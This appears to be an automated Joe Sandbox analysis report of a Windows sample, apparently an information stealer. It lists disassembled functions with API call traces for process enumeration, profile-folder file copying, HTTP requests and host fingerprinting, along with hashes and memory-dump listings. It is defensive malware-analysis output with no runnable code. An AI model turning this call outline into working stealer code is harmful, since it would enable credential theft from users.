CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Process32First.KERNEL32(?,00000128), ref: 004186DE
Process32Next.KERNEL32(?,00000128), ref: 004186F3

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

CloseHandle.KERNEL32(?), ref: 00418761

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 653c6250bfa2d25ce81b68ad29b9700611fbfcd40e1672ae0763ab040719d4ec
Instruction ID: 8f5abf7c5654a811b9b3f094c7d3948ba22bca0c3321aba4e2188e2e86b1b5ea
Opcode Fuzzy Hash: 653c6250bfa2d25ce81b68ad29b9700611fbfcd40e1672ae0763ab040719d4ec
Instruction Fuzzy Hash: F7315E71902218ABCB24EF95DC45FEEB778EF45714F10419EF10AA21A0DF386A85CFA5

Function 00414F40 Relevance: 6.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414F7A
lstrcatA.KERNEL32(?,00421070), ref: 00414F97
lstrcatA.KERNEL32(?,009185F0), ref: 00414FAB
lstrcatA.KERNEL32(?,00421074), ref: 00414FBD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 4cfe2e629bd636134445098a4de93349109952374e0d58a5bb2ea172aa16a8ba
Instruction ID: b2f553c39a7574946245b6cc91baeb706efbd34a5fe7bafabb54328a91102e52
Opcode Fuzzy Hash: 4cfe2e629bd636134445098a4de93349109952374e0d58a5bb2ea172aa16a8ba
Instruction Fuzzy Hash: FA213DBAA402047BC714FBF0EC46FED333DAB55300F40455DB649920C1EE7896C88B96

Function 00416AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00918580,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,00918580,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 7c87040c747da0acdc92787bbe7dfdf8e9b0063e40ee03b256faf14453658583
Instruction ID: 3c4b1c3760862ff095f4b16c882d5da3ff279df4080b6ba6633acb61265b60b7
Opcode Fuzzy Hash: 7c87040c747da0acdc92787bbe7dfdf8e9b0063e40ee03b256faf14453658583
Instruction Fuzzy Hash: E9F0BE34A84219AFE710EBE0DC06BFE7B35EF04381F11451AF502A11C0CBB8A581D65F

Function 00406D40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

`o@, xrefs: 00406DD2, 00406E5E, 00406E94, 00406DAE, 00406EAF

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID:
String ID: `o@
API String ID: 0-590292170
Opcode ID: 7ad59576bd09cc7eceacd48e5d7f84764234e902501c4ca3efc067249123903a
Instruction ID: c65cc5113f4fbf7636557f8b1f026e9f2285814709fd8c8344c4410f81c0aea8
Opcode Fuzzy Hash: 7ad59576bd09cc7eceacd48e5d7f84764234e902501c4ca3efc067249123903a
Instruction Fuzzy Hash: A66138B4900219EFCB14DF94E944BEEB7B1BB04304F1185AAE40A77380D739AEA4DF95

Function 00414BB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414BEA
lstrcatA.KERNEL32(?,00920D18), ref: 00414C08

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00921FD0,?,000003E8), ref: 00414A4A
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A96
Part of subcall function 00414910: CopyFileA.KERNEL32(?,?,00000001), ref: 00414AAC
Part of subcall function 00414910: DeleteFileA.KERNEL32(?), ref: 00414B31

Part of subcall function 00414910: wsprintfA.USER32 ref: 00414A07

Strings

UaA, xrefs: 00414C2F, 00414C64, 00414C9A, 00414CCF, 00414D05, 00414D3A, 00414D5F, 00414C32, 00414C67, 00414C9D, 00414CD2, 00414D08, 00414D3D

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: UaA
API String ID: 2104210347-3893042857
Opcode ID: aa66e78d992e4ef4ad01981945f3f3c615ea7e7edb7adbc39752ad4041efc9fd
Instruction ID: 5a37e5a53a2562059c730f6b0b3ae842953eee94398a2728108a858f2c1bafc2
Opcode Fuzzy Hash: aa66e78d992e4ef4ad01981945f3f3c615ea7e7edb7adbc39752ad4041efc9fd
Instruction Fuzzy Hash: 9341C5BA6001047BD754FBB0EC42EEE337DA785700F40851DB54A96186EE795BC88BA6

Function 004151F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
Part of subcall function 00406280: StrCmpCA.SHLWAPI(?,00921F00), ref: 00406303
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,00921278,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Strings

ERROR, xrefs: 00415273
ERROR, xrefs: 0041521A

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 287c4944f2ba1a5879c5b57656c8dc51a31da8e3a5e3b78fb2e1df7df1d21834
Instruction ID: 74302943fe5589af4790b43ef38c2dd3b69765dcd24c28c5b90e35499643ece9
Opcode Fuzzy Hash: 287c4944f2ba1a5879c5b57656c8dc51a31da8e3a5e3b78fb2e1df7df1d21834
Instruction Fuzzy Hash: 2D113330901008ABCB14FF61DD52AED7338AF50354F90416EF81A5A5D2EF38AB56CA9A

Function 00415050 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 0041508A
lstrcatA.KERNEL32(?,00920638), ref: 004150A8

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Strings

aA, xrefs: 004150CF, 004150F4, 004150D2

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: aA
API String ID: 2699682494-2567749500
Opcode ID: bb87f09220a66bb18572c75e840b73e28e7d8c2d62eb2dc3f863eb1ddb5d3697
Instruction ID: 27646669aa04729862e240b26620d37997e147c17b59a732ce93ef494e7ce50b
Opcode Fuzzy Hash: bb87f09220a66bb18572c75e840b73e28e7d8c2d62eb2dc3f863eb1ddb5d3697
Instruction Fuzzy Hash: B801D6BAA4020877C714FBB0DC42EEE333CAB55304F00415DB68A570D1EE789AC88BA6

Function 004178E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction ID: 452d18c19ae851532a1d010ea63a4611fd0250a2e86211d30d2d96ca9096ca29
Opcode Fuzzy Hash: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction Fuzzy Hash: 220186F1A48204EFD700DF94DD45BAABBB8FB05B11F10425AF545E3280C37859448BA6

Function 6C6C3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C6C3095

Part of subcall function 6C6C35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C74F688,00001000), ref: 6C6C35D5
Part of subcall function 6C6C35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6C35E0
Part of subcall function 6C6C35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6C35FD
Part of subcall function 6C6C35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C6C363F
Part of subcall function 6C6C35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C6C369F
Part of subcall function 6C6C35A0: __aulldiv.LIBCMT ref: 6C6C36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6C309F

Part of subcall function 6C6E5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6E56EE,?,00000001), ref: 6C6E5B85
Part of subcall function 6C6E5B50: EnterCriticalSection.KERNEL32(6C74F688,?,?,?,6C6E56EE,?,00000001), ref: 6C6E5B90
Part of subcall function 6C6E5B50: LeaveCriticalSection.KERNEL32(6C74F688,?,?,?,6C6E56EE,?,00000001), ref: 6C6E5BD8
Part of subcall function 6C6E5B50: GetTickCount64.KERNEL32 ref: 6C6E5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6C30BE

Part of subcall function 6C6C30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C6C3127
Part of subcall function 6C6C30F0: __aulldiv.LIBCMT ref: 6C6C3140

Part of subcall function 6C6FAB2A: __onexit.LIBCMT ref: 6C6FAB30

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: eed07f006ddc9d7c6a3acb011cfcb79c37fa90e6d122bbdd161e6047a543cf0f
Instruction ID: d9840a7a725a3dcf93fc1f473b10c0c415ebc47068d3d7624a24314bf999e2cf
Opcode Fuzzy Hash: eed07f006ddc9d7c6a3acb011cfcb79c37fa90e6d122bbdd161e6047a543cf0f
Instruction Fuzzy Hash: 0DF0D622E2074897CB10FF3498411E6B371EF6B218F50933BE85853521FB2061D8838F

Function 00419470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004194A5
CloseHandle.KERNEL32(00000000), ref: 004194AF

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
